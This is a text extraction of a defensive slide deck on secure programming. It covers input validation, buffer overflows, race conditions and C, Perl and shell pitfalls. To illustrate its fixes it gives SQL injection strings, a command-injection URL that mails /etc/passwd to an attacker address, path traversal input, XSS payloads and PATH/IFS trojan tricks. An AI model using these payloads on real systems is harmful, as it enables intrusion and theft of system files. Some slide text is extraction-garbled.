SlideShare a Scribd company logo
D. E. Shaw India Software Private Limited




 Secure Programming


                                  Sandeep Giri




Index
D. E. Shaw India Software Private Limited




   What Is Security?
     Confidentiality (also known as secrecy), meaning that
      the computing system's assets can be read only by
      authorized parties.
     Integrity, meaning that the assets can only be
      modified or deleted by authorized parties in
      authorized ways.
     Availability, meaning that the assets are accessible to
      the authorized parties in a timely manner (as
      determined by the systems requirements). The failure
      to meet this goal is called a denial of service.


Index
D. E. Shaw India Software Private Limited




                  Why Secure Programming?




Note: suid (set user ID) is a program which while running behaves as the owner of
the particular file not as the one who runs it.
setgid: set group ID
 Index
D. E. Shaw India Software Private Limited




    What needs to be secured?
 Viewers of remote data
    – For e.g. Browser,Applets,Email clients,Word processors
 Application programs used by the administrator
 Servers
   – Local (daemons like syslog)
   – Network-accessible servers (network daemons
     ftpd,telnetd,apache,sendmail).
   – Web-based applications(Sp. Case of above)
 Setuid/setgid programs (like passwd).


Index
D. E. Shaw India Software Private Limited




                           HOW???




Index
D. E. Shaw India Software Private Limited




                                   The Key is:



        “Paranoia is a Virtue”
                                         Solutions follow….




Index
D. E. Shaw India Software Private Limited




    Index
     Validation of Inputs
         – Examples
         – Different types of inputs
     Buffer Overflows
     Structure Program Internals
     Sending Information Back Judiciously
     Language-Specific Issues
         – C/C++
         – Perl
         – Shell Scripting Languages

Index
D. E. Shaw India Software Private Limited



                                Validate All Input
                  Properly Check the input for valid data
 Example:
 SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e =
  ‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”;
 Input:
 “a d m in’” will c o nv e rt the q ue ry into
 “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ”
 (N te ‘’ a fte r a d m in)
   o

 “a d m in’--” will c o nv e rt the q ue ry into
 “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ”
 (N te e ve ry thing a fte r ‘--’ is c o m m e nte d )
   o


Index
D. E. Shaw India Software Private Limited




Validate All Input->


   Another Example:
   Code:
   system("mail " . $form_data{"email"});


Exploit/Loophole:
Input:
http://server/script.cgi?email=
me@mydomain.com;mail hacker@hack.net</etc/passwd"


This will mail him a copy of /etc/passwd.
Index
D. E. Shaw India Software Private Limited



Validate All Input->
    Solutions/Suggestions:
     Determine what is legal and reject anything that does not match
        that definition but not the reverse.
        Following pattern for input may be enough:
          [A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or

          (.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or


          (,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$

     When accepting cookie values, check if the domain
      value for any cookie you're using is the expected one.
     While parsing input, temporarily drop all privileges,
      or even create separate processes

Index
D. E. Shaw India Software Private Limited



Validate All Input->

     Different Types Of User Input
      Environment variables
          Input may be in the form of environment variables (e.g.
            PATH,IFS etc.) inherited from parent process
          Example Code:
          Sy s te m (“d a te ”);
    Exploit:
    Se t PA to the c urre nt d ire c to ry a nd m a ke a
              TH
    tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd
                                       o
    will be e x e c ute d with p a re nts p rivile g e s .

Index
D. E. Shaw India Software Private Limited



Validate All Input->types->environment variables->
     Yet Another Example
     I - (Internal field separator, used to separate
      FS
     the command line arguments.)
    Code:
    Sy s te m (“/us r/bin/d a te ”);

Exploit/loophole:
se t IFS= ‘/’;
Now create a Trojaned program with name usr and set
PATH to current directory.Your ‘usr’ will be executed instead
of date because this command will be interpreted as
$ us r bin d a te
Index
D. E. Shaw India Software Private Limited



Validate All Input->types->environment variables->



    Solution:
     Reset all the variables.
     For example,
           set IFS = ‘nt’
     Always extract and erase environment variables
     and set these according to your needs.




Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->

     File Names
         Common mistakes:
         ftp> ls
           */../*/../*/../*/../*/../*/../*/../*/../*/../
           */../*/../*/../*

         http://www.yourserver.com/cgi-bin/script?
           config-file=../../../etc/passwd&user=guest
        you shouldn't support ``wild-cards'', that is,
           expanding filenames using ``*'', ``?'', ``[''
           (matching ``]''), and possibly ``{'' (matching ``}'').
     File Contents
      If a program takes directions from a file, it must not
Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->
     Writing data to the file


    When it is must to write the data from cgi script
    (for example picture uploading script),
    the file should not be in a executable/accessible
      directory.




Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->

     Web-Based Inputs (Especially CGI Scripts)
         – Cross site scripting
          Displaying the formatted text received from
          another user may trick JavaScript(or Other
          compts) and may result in befooling the current
          user or crashing the browser.
          Such vulnerabilities existed in most of the online
          systems like: Yahoo,google, hotmail,indiatimes..
         Quick Fix:
         delete_every <script>….</script>
         But it has got some problems…


Index
D. E. Shaw India Software Private Limited



   Validate All Input->types->Web based IO->

    What If input includes tags like this:
         – <sc<script></script>ript>evil-code()</sc<script></script>ript>

         – <b onmousover="...">go here</b>
         – <img [line_break] src="javascript:alert(document.location)">

         – <a href="javas&#99;ript&#35;[code]">

         – <div onmouseover="[code]">

         – <img src="javascript:[code]">
         – <img dynsrc="javascript:[code]"> [IE]

         – <input type="image" dynsrc="javascript:[code]"> [IE]

         – <bgsound src="javascript:[code]"> [IE]

         List goes on …
Index
D. E. Shaw India Software Private Limited



   Validate All Input->types->Web based IO->

        Solutions:
          – Only allow a few tags,if it is must.like:

             <p> ,<b> , <i>, <em>, <strong>, <pre> , <br>

          – while displaying html as such convert

                ‘<‘ to &lt; , > to &gt;, & to &amp;

          – One may use his own type of tags

                Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB)

          – Accept only legal characters:

             $summary =~ tr/A-Za-z0-9 .://dc;

          – Remove Special characters

             $s =~ s/[<>"'%;()&+]//g;

          Can use PHP code to filter HTML posted by Konstantin Riabitsev:

Index        http://www.mricon.com/html/phpfilter.html
D. E. Shaw India Software Private Limited




          Buffer Overflow – A Big Deal
A buffer overflow occurs when you write a set of values into a fixed length buffer
and write at least one value outside that buffer's boundaries (usually past its
end). A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.

The Problem:                                          Sample Execution
                                                      $ p ro g a bc
int main(int argc,char **argv) {                      abc
    char buffer[100];                                 $ p ro g < v e ry lo ng s tring >
    if(argc>1)                                        core dumped (segmentation
                                                      fault)
          strcpy(buffer,argv[1]);
                                                      $ p ro g “% s a nd e e p ”
    printf(buffer)
                                                         <garbage>andeep
}
                                                      (format string problem)

    Index
D. E. Shaw India Software Private Limited



 Buffer Overflow->

    Exploit-Technique ( an overview )
    EIP – Before a function is called, the address of
     returning location is stored in EIP




Index
D. E. Shaw India Software Private Limited                 Buffer Overflow-> Suggestions:

   Instead Of       Use


   Gets             Fgets


   Strcpy           strncpy*,with NULLtermination


                    Strlcpy : a bit inefficient, fills with zeros


   Strcat           strncat*,with NULL termination

                    Strlcat : a bit inefficient


   Printf           With proper formatting e.g.: printf(“%s”,str); not printf(str);


   Sprintf          with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str);


   Scanf            with length maximizing formatting eg: scanf(“%5s”,str),


   sscanf           with length maximizing formatting




Index
D. E. Shaw India Software Private Limited



 Buffer Overflow->

    Overflows can be avoided by using:
     Code Checking Utilities:
         – flawfinder,RATS,ITS4, Slint

         – Using Memory leak checking utilities like Memleak for VC++ available
            at http://www.codeproject.com/useritems/leakfinder.asp
     Libraries like
         – Libmib, C++ Std :: string, libsafe,glibc
     Compilers like :Stack Guard,Stack Shield
            which check if return address is changed.
      OS like : Immunix OS ,Bastile Linux
       Linux Variants,with low level security against bof
Index Other languages like Java,Perl,PHP
     
D. E. Shaw India Software Private Limited


        Structure Program Internals
     Software Engineering Principles
         – Economy of mechanism/Simplicity.
               KISS - keep it simple, stupid
         – Open design.
               Do not depend on attacker’s ignorance.
         – Complete mediation.
               Every access attempt must be checked
         – Fail-safe defaults
               The default should be denial of service
         – Separation of privilege.
               Defeating one protection system shouldn't enable
                complete access.
Index
D. E. Shaw India Software Private Limited


   Structure Program Internals-> Software Engineering Principles->




         – Least common mechanism.
               Minimize use of shared mechanisms (e.g. use of the /tmp
                or /var/tmp directories).
         – Psychological acceptability / Easy to use
                Users will routinely and automatically use the
                 protection mechanisms correctly.
                Mistakes will be reduced if the security
                 mechanisms closely match the user's mental
                 image of his or her protection


Index
D. E. Shaw India Software Private Limited


 Structure Program Internals->

    Secure the Interface
    Separate Data and Control
    Minimize Privileges
        Prevents problems due to accident, error, or attack.
        Minimize:
          – Granted privileges
          – The Time the Privilege Can Be Used & is active
          – The Modules Granted the Privilege
          – the Accessible Data
          – the Resources Available


Index
D. E. Shaw India Software Private Limited


 Structure Program Internals->




     Minimize the Functionality of a Component
     Avoid Creating Setuid/Setgid Scripts
     Configure Safely and Use Safe Defaults
     Load Initialization Values Safely
     Fail Safe
     Avoid Race Conditions/ Sharing violation
        Anomalous behavior due to unexpected critical dependence on
        the relative timing of events




Index
D. E. Shaw India Software Private Limited


Structure Program Internals-> Sharing violation(due to racing)->

     A crude example:

        Password Conflict.
     Another Example:

        check(file);//checks if file has proper permissions
        wait(sometime);
        write(file,data); //writes data to file
        What if file got changed in between checking and modifying data?
        This generally happens with temporary file creation.
     Solution:

          – Use locks on files

          – Use open() function of C

          – Create random name file/open using O_CREATE|O_EXCL

Index     – Use tmpfile()
D. E. Shaw India Software Private Limited




    Send Information Back Judiciously
     Minimize Feedback
     Don't Include Comments
     Control Formatting (``Cross Site Scripting'')
     Prevent Include/Configuration File Access
         <Files *.inc>
         Order allow,deny
         Deny from all
         </Files>



Index
D. E. Shaw India Software Private Limited


    Language-Specific Issues
    C/C++
     Biggest security problem with C and C++ programs is buffer overflow;

     C has the additional weakness of not supporting exceptions,

     Manual memory management(malloc,alloc,free,new delete)

     Be as strict as you reasonably can in declaring types.

        use ``enum'' to define enumerated values (and not just a ``char'' or ``int''
        with special values).

     Turn On Warnings to check overflows

          gcc -Wall -Wpointer-arith -Wstrict-prototypes
             -O2

          You might want ``-W -pedantic'' too.

Index
D. E. Shaw India Software Private Limited


 Language-Specific Issues->C/C++ ->


    Detect format string bugs by including following

        header file

         /* in header.h */
         #ifndef __GNUC__

         # define __attribute__(x) /*nothing*/

         #endif
         extern void logprintf(const char *format, ...)

         __attribute__((format(printf,1,2)));

         extern void logprintva(const char *format,
           va_list args)
         __attribute__((format(printf,1,0)));

Index
D. E. Shaw India Software Private Limited


    Language-Specific Issues->       Perl
      read man page perlsec(1) first to learn taint mode (-T)

      open, glob, and back tick functions call the shell to expand
        filename
      perl open() function comes with, frankly, ``way too much magic'‘

          Example:
             //open a file s which is specified by user.
             O p e n(HA DLE, s );
                       N
             Loophole/exploit: s=“|s o m e c o m m a nd ”
          Solution: use sysopen() instead.
      turn on the warning flag (-w)

      It is recommended to use sudo instead of setuid version of Perl,
        which is default in some cases.
Index In regex, switch /e – expression evaluation- is dangerous
D. E. Shaw India Software Private Limited


 Language-Specific Issues->

    Shell Scripting Languages
     Never use as setuid/setgid
     On some systems,Fundamentally insecure
        because prone to race condition




Index
D. E. Shaw India Software Private Limited




                             I would again say:
                                   “The Key - ”

         Paranoia is a Virtue




Index
D. E. Shaw India Software Private Limited




                                Questions?




Index
D. E. Shaw India Software Private Limited




                                            Thanks



Index

More Related Content

PDF
IO Streams, Files and Directories
PPT
Programming in Computational Biology
PDF
The Rust Borrow Checker
PPTX
Z ray plugins for dummies
PDF
Introduction to Perl and BioPerl
PDF
Just-In-Time Compiler in PHP 8
PPT
Hacking with hhvm
PDF
Static Optimization of PHP bytecode (PHPSC 2017)
IO Streams, Files and Directories
Programming in Computational Biology
The Rust Borrow Checker
Z ray plugins for dummies
Introduction to Perl and BioPerl
Just-In-Time Compiler in PHP 8
Hacking with hhvm
Static Optimization of PHP bytecode (PHPSC 2017)

What's hot (20)

PPT
You Can Do It! Start Using Perl to Handle Your Voyager Needs
PPTX
Streams, sockets and filters oh my!
ODP
Introduction to Perl - Day 1
DOC
PPT
Abhishek lingineni
PPT
Hack in the Box Keynote 2006
ODP
Advanced Perl Techniques
PDF
Zend Certification Preparation Tutorial
PPT
Introduction To Groovy 2005
PDF
Creating Domain Specific Languages in Python
KEY
PHPSpec BDD for PHP
PDF
Writing and using php streams and sockets tek11
PDF
PHP 7 – What changed internally? (PHP Barcelona 2015)
PDF
Perl Programming - 02 Regular Expression
PDF
What's new in PHP 8.0?
PPT
Plunging Into Perl While Avoiding the Deep End (mostly)
PPT
PDF
MidwestPHP Symfony2 Internals
You Can Do It! Start Using Perl to Handle Your Voyager Needs
Streams, sockets and filters oh my!
Introduction to Perl - Day 1
Abhishek lingineni
Hack in the Box Keynote 2006
Advanced Perl Techniques
Zend Certification Preparation Tutorial
Introduction To Groovy 2005
Creating Domain Specific Languages in Python
PHPSpec BDD for PHP
Writing and using php streams and sockets tek11
PHP 7 – What changed internally? (PHP Barcelona 2015)
Perl Programming - 02 Regular Expression
What's new in PHP 8.0?
Plunging Into Perl While Avoiding the Deep End (mostly)
MidwestPHP Symfony2 Internals
Ad

Similar to Secure Programming (20)

PPT
Eight simple rules to writing secure PHP programs
PPTX
How Secure Are Docker Containers?
PDF
Introduction to PowerShell
PDF
Applications secure by default
PDF
Applications secure by default
PDF
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
PPT
Groovy Introduction - JAX Germany - 2008
PPTX
antoanthongtin_Lesson 3- Software Security (1).pptx
PDF
Hack Like It's 2013 (The Workshop)
PDF
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
PDF
Mist - Serverless proxy to Apache Spark
PDF
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
PDF
Living With Legacy Code
PDF
Having Fun with Play
PPT
270_1_CIntro_Up_To_Functions.ppt 0478 computer
PPT
CIntro_Up_To_Functions.ppt;uoooooooooooooooooooo
PDF
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
PDF
Charla EHU Noviembre 2014 - Desarrollo Web
Eight simple rules to writing secure PHP programs
How Secure Are Docker Containers?
Introduction to PowerShell
Applications secure by default
Applications secure by default
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Groovy Introduction - JAX Germany - 2008
antoanthongtin_Lesson 3- Software Security (1).pptx
Hack Like It's 2013 (The Workshop)
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
Mist - Serverless proxy to Apache Spark
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
Living With Legacy Code
Having Fun with Play
270_1_CIntro_Up_To_Functions.ppt 0478 computer
CIntro_Up_To_Functions.ppt;uoooooooooooooooooooo
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Charla EHU Noviembre 2014 - Desarrollo Web
Ad

Recently uploaded (20)

PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PDF
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
PDF
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
PDF
Softaken Excel to vCard Converter Software.pdf
PPTX
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
PPTX
Computer Software and OS of computer science of grade 11.pptx
PDF
Cost to Outsource Software Development in 2025
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PDF
Nekopoi APK 2025 free lastest update
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PPTX
L1 - Introduction to python Backend.pptx
PPTX
Transform Your Business with a Software ERP System
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PDF
System and Network Administraation Chapter 3
PPTX
Reimagine Home Health with the Power of Agentic AI​
PPTX
history of c programming in notes for students .pptx
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
How to Choose the Right IT Partner for Your Business in Malaysia
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Softaken Excel to vCard Converter Software.pdf
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
Computer Software and OS of computer science of grade 11.pptx
Cost to Outsource Software Development in 2025
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Adobe Illustrator 28.6 Crack My Vision of Vector Design
iTop VPN Free 5.6.0.5262 Crack latest version 2025
Nekopoi APK 2025 free lastest update
wealthsignaloriginal-com-DS-text-... (1).pdf
L1 - Introduction to python Backend.pptx
Transform Your Business with a Software ERP System
Design an Analysis of Algorithms I-SECS-1021-03
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
System and Network Administraation Chapter 3
Reimagine Home Health with the Power of Agentic AI​
history of c programming in notes for students .pptx

Secure Programming

  • 1. D. E. Shaw India Software Private Limited Secure Programming Sandeep Giri Index
  • 2. D. E. Shaw India Software Private Limited What Is Security?  Confidentiality (also known as secrecy), meaning that the computing system's assets can be read only by authorized parties.  Integrity, meaning that the assets can only be modified or deleted by authorized parties in authorized ways.  Availability, meaning that the assets are accessible to the authorized parties in a timely manner (as determined by the systems requirements). The failure to meet this goal is called a denial of service. Index
  • 3. D. E. Shaw India Software Private Limited Why Secure Programming? Note: suid (set user ID) is a program which while running behaves as the owner of the particular file not as the one who runs it. setgid: set group ID Index
  • 4. D. E. Shaw India Software Private Limited What needs to be secured?  Viewers of remote data – For e.g. Browser,Applets,Email clients,Word processors  Application programs used by the administrator  Servers – Local (daemons like syslog) – Network-accessible servers (network daemons ftpd,telnetd,apache,sendmail). – Web-based applications(Sp. Case of above)  Setuid/setgid programs (like passwd). Index
  • 5. D. E. Shaw India Software Private Limited HOW??? Index
  • 6. D. E. Shaw India Software Private Limited The Key is: “Paranoia is a Virtue” Solutions follow…. Index
  • 7. D. E. Shaw India Software Private Limited Index  Validation of Inputs – Examples – Different types of inputs  Buffer Overflows  Structure Program Internals  Sending Information Back Judiciously  Language-Specific Issues – C/C++ – Perl – Shell Scripting Languages Index
  • 8. D. E. Shaw India Software Private Limited Validate All Input Properly Check the input for valid data Example: SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”; Input: “a d m in’” will c o nv e rt the q ue ry into “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ” (N te ‘’ a fte r a d m in) o “a d m in’--” will c o nv e rt the q ue ry into “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ” (N te e ve ry thing a fte r ‘--’ is c o m m e nte d ) o Index
  • 9. D. E. Shaw India Software Private Limited Validate All Input-> Another Example: Code: system("mail " . $form_data{"email"}); Exploit/Loophole: Input: http://server/script.cgi?email= [email protected];mail [email protected]</etc/passwd" This will mail him a copy of /etc/passwd. Index
  • 10. D. E. Shaw India Software Private Limited Validate All Input-> Solutions/Suggestions:  Determine what is legal and reject anything that does not match that definition but not the reverse. Following pattern for input may be enough: [A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or (.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or (,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$  When accepting cookie values, check if the domain value for any cookie you're using is the expected one.  While parsing input, temporarily drop all privileges, or even create separate processes Index
  • 11. D. E. Shaw India Software Private Limited Validate All Input-> Different Types Of User Input  Environment variables Input may be in the form of environment variables (e.g. PATH,IFS etc.) inherited from parent process Example Code: Sy s te m (“d a te ”); Exploit: Se t PA to the c urre nt d ire c to ry a nd m a ke a TH tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd o will be e x e c ute d with p a re nts p rivile g e s . Index
  • 12. D. E. Shaw India Software Private Limited Validate All Input->types->environment variables->  Yet Another Example I - (Internal field separator, used to separate FS the command line arguments.) Code: Sy s te m (“/us r/bin/d a te ”); Exploit/loophole: se t IFS= ‘/’; Now create a Trojaned program with name usr and set PATH to current directory.Your ‘usr’ will be executed instead of date because this command will be interpreted as $ us r bin d a te Index
  • 13. D. E. Shaw India Software Private Limited Validate All Input->types->environment variables-> Solution: Reset all the variables. For example, set IFS = ‘nt’ Always extract and erase environment variables and set these according to your needs. Index
  • 14. D. E. Shaw India Software Private Limited Validate All Input->types->  File Names Common mistakes: ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../ */../*/../*/../* http://www.yourserver.com/cgi-bin/script? config-file=../../../etc/passwd&user=guest you shouldn't support ``wild-cards'', that is, expanding filenames using ``*'', ``?'', ``['' (matching ``]''), and possibly ``{'' (matching ``}'').  File Contents If a program takes directions from a file, it must not Index
  • 15. D. E. Shaw India Software Private Limited Validate All Input->types->  Writing data to the file When it is must to write the data from cgi script (for example picture uploading script), the file should not be in a executable/accessible directory. Index
  • 16. D. E. Shaw India Software Private Limited Validate All Input->types->  Web-Based Inputs (Especially CGI Scripts) – Cross site scripting Displaying the formatted text received from another user may trick JavaScript(or Other compts) and may result in befooling the current user or crashing the browser. Such vulnerabilities existed in most of the online systems like: Yahoo,google, hotmail,indiatimes.. Quick Fix: delete_every <script>….</script> But it has got some problems… Index
  • 17. D. E. Shaw India Software Private Limited Validate All Input->types->Web based IO-> What If input includes tags like this: – <sc<script></script>ript>evil-code()</sc<script></script>ript> – <b onmousover="...">go here</b> – <img [line_break] src="javascript:alert(document.location)"> – <a href="javas&#99;ript&#35;[code]"> – <div onmouseover="[code]"> – <img src="javascript:[code]"> – <img dynsrc="javascript:[code]"> [IE] – <input type="image" dynsrc="javascript:[code]"> [IE] – <bgsound src="javascript:[code]"> [IE] List goes on … Index
  • 18. D. E. Shaw India Software Private Limited Validate All Input->types->Web based IO-> Solutions: – Only allow a few tags,if it is must.like: <p> ,<b> , <i>, <em>, <strong>, <pre> , <br> – while displaying html as such convert ‘<‘ to &lt; , > to &gt;, & to &amp; – One may use his own type of tags Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB) – Accept only legal characters: $summary =~ tr/A-Za-z0-9 .://dc; – Remove Special characters $s =~ s/[<>"'%;()&+]//g; Can use PHP code to filter HTML posted by Konstantin Riabitsev: Index http://www.mricon.com/html/phpfilter.html
  • 19. D. E. Shaw India Software Private Limited Buffer Overflow – A Big Deal A buffer overflow occurs when you write a set of values into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program. The Problem: Sample Execution $ p ro g a bc int main(int argc,char **argv) { abc char buffer[100]; $ p ro g < v e ry lo ng s tring > if(argc>1) core dumped (segmentation fault) strcpy(buffer,argv[1]); $ p ro g “% s a nd e e p ” printf(buffer) <garbage>andeep } (format string problem) Index
  • 20. D. E. Shaw India Software Private Limited Buffer Overflow-> Exploit-Technique ( an overview ) EIP – Before a function is called, the address of returning location is stored in EIP Index
  • 21. D. E. Shaw India Software Private Limited Buffer Overflow-> Suggestions: Instead Of Use Gets Fgets Strcpy strncpy*,with NULLtermination Strlcpy : a bit inefficient, fills with zeros Strcat strncat*,with NULL termination Strlcat : a bit inefficient Printf With proper formatting e.g.: printf(“%s”,str); not printf(str); Sprintf with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str); Scanf with length maximizing formatting eg: scanf(“%5s”,str), sscanf with length maximizing formatting Index
  • 22. D. E. Shaw India Software Private Limited Buffer Overflow-> Overflows can be avoided by using:  Code Checking Utilities: – flawfinder,RATS,ITS4, Slint – Using Memory leak checking utilities like Memleak for VC++ available at http://www.codeproject.com/useritems/leakfinder.asp  Libraries like – Libmib, C++ Std :: string, libsafe,glibc  Compilers like :Stack Guard,Stack Shield which check if return address is changed.  OS like : Immunix OS ,Bastile Linux Linux Variants,with low level security against bof Index Other languages like Java,Perl,PHP 
  • 23. D. E. Shaw India Software Private Limited Structure Program Internals  Software Engineering Principles – Economy of mechanism/Simplicity. KISS - keep it simple, stupid – Open design. Do not depend on attacker’s ignorance. – Complete mediation. Every access attempt must be checked – Fail-safe defaults The default should be denial of service – Separation of privilege. Defeating one protection system shouldn't enable complete access. Index
  • 24. D. E. Shaw India Software Private Limited Structure Program Internals-> Software Engineering Principles-> – Least common mechanism. Minimize use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories). – Psychological acceptability / Easy to use  Users will routinely and automatically use the protection mechanisms correctly.  Mistakes will be reduced if the security mechanisms closely match the user's mental image of his or her protection Index
  • 25. D. E. Shaw India Software Private Limited Structure Program Internals->  Secure the Interface  Separate Data and Control  Minimize Privileges Prevents problems due to accident, error, or attack. Minimize: – Granted privileges – The Time the Privilege Can Be Used & is active – The Modules Granted the Privilege – the Accessible Data – the Resources Available Index
  • 26. D. E. Shaw India Software Private Limited Structure Program Internals->  Minimize the Functionality of a Component  Avoid Creating Setuid/Setgid Scripts  Configure Safely and Use Safe Defaults  Load Initialization Values Safely  Fail Safe  Avoid Race Conditions/ Sharing violation Anomalous behavior due to unexpected critical dependence on the relative timing of events Index
  • 27. D. E. Shaw India Software Private Limited Structure Program Internals-> Sharing violation(due to racing)->  A crude example: Password Conflict.  Another Example: check(file);//checks if file has proper permissions wait(sometime); write(file,data); //writes data to file What if file got changed in between checking and modifying data? This generally happens with temporary file creation.  Solution: – Use locks on files – Use open() function of C – Create random name file/open using O_CREATE|O_EXCL Index – Use tmpfile()
  • 28. D. E. Shaw India Software Private Limited Send Information Back Judiciously  Minimize Feedback  Don't Include Comments  Control Formatting (``Cross Site Scripting'')  Prevent Include/Configuration File Access <Files *.inc> Order allow,deny Deny from all </Files> Index
  • 29. D. E. Shaw India Software Private Limited Language-Specific Issues C/C++  Biggest security problem with C and C++ programs is buffer overflow;  C has the additional weakness of not supporting exceptions,  Manual memory management(malloc,alloc,free,new delete)  Be as strict as you reasonably can in declaring types. use ``enum'' to define enumerated values (and not just a ``char'' or ``int'' with special values).  Turn On Warnings to check overflows gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2 You might want ``-W -pedantic'' too. Index
  • 30. D. E. Shaw India Software Private Limited Language-Specific Issues->C/C++ ->  Detect format string bugs by including following header file /* in header.h */ #ifndef __GNUC__ # define __attribute__(x) /*nothing*/ #endif extern void logprintf(const char *format, ...) __attribute__((format(printf,1,2))); extern void logprintva(const char *format, va_list args) __attribute__((format(printf,1,0))); Index
  • 31. D. E. Shaw India Software Private Limited Language-Specific Issues-> Perl  read man page perlsec(1) first to learn taint mode (-T)  open, glob, and back tick functions call the shell to expand filename  perl open() function comes with, frankly, ``way too much magic'‘ Example: //open a file s which is specified by user. O p e n(HA DLE, s ); N Loophole/exploit: s=“|s o m e c o m m a nd ” Solution: use sysopen() instead.  turn on the warning flag (-w)  It is recommended to use sudo instead of setuid version of Perl, which is default in some cases. Index In regex, switch /e – expression evaluation- is dangerous
  • 32. D. E. Shaw India Software Private Limited Language-Specific Issues-> Shell Scripting Languages  Never use as setuid/setgid  On some systems,Fundamentally insecure because prone to race condition Index
  • 33. D. E. Shaw India Software Private Limited I would again say: “The Key - ” Paranoia is a Virtue Index
  • 34. D. E. Shaw India Software Private Limited Questions? Index
  • 35. D. E. Shaw India Software Private Limited Thanks Index

Editor's Notes

  • #2: Include ln –s /etc/passwd tmp technique in race condition..tmp file creation.. SSI.. Format string bugs. To be removed from “ send.. ” to new topic
  • #10: Can be removed
  • #24: remove
  • #25: remove
  • #26: remove
  • #27: Remove till avoid race conditions
  • #30: “ Electric Fence and Val grind ” is tool which solves the problem use ``enum&apos;&apos; to define enumerated values (and not just a ``char&apos;&apos; or ``int&apos;&apos; with special values).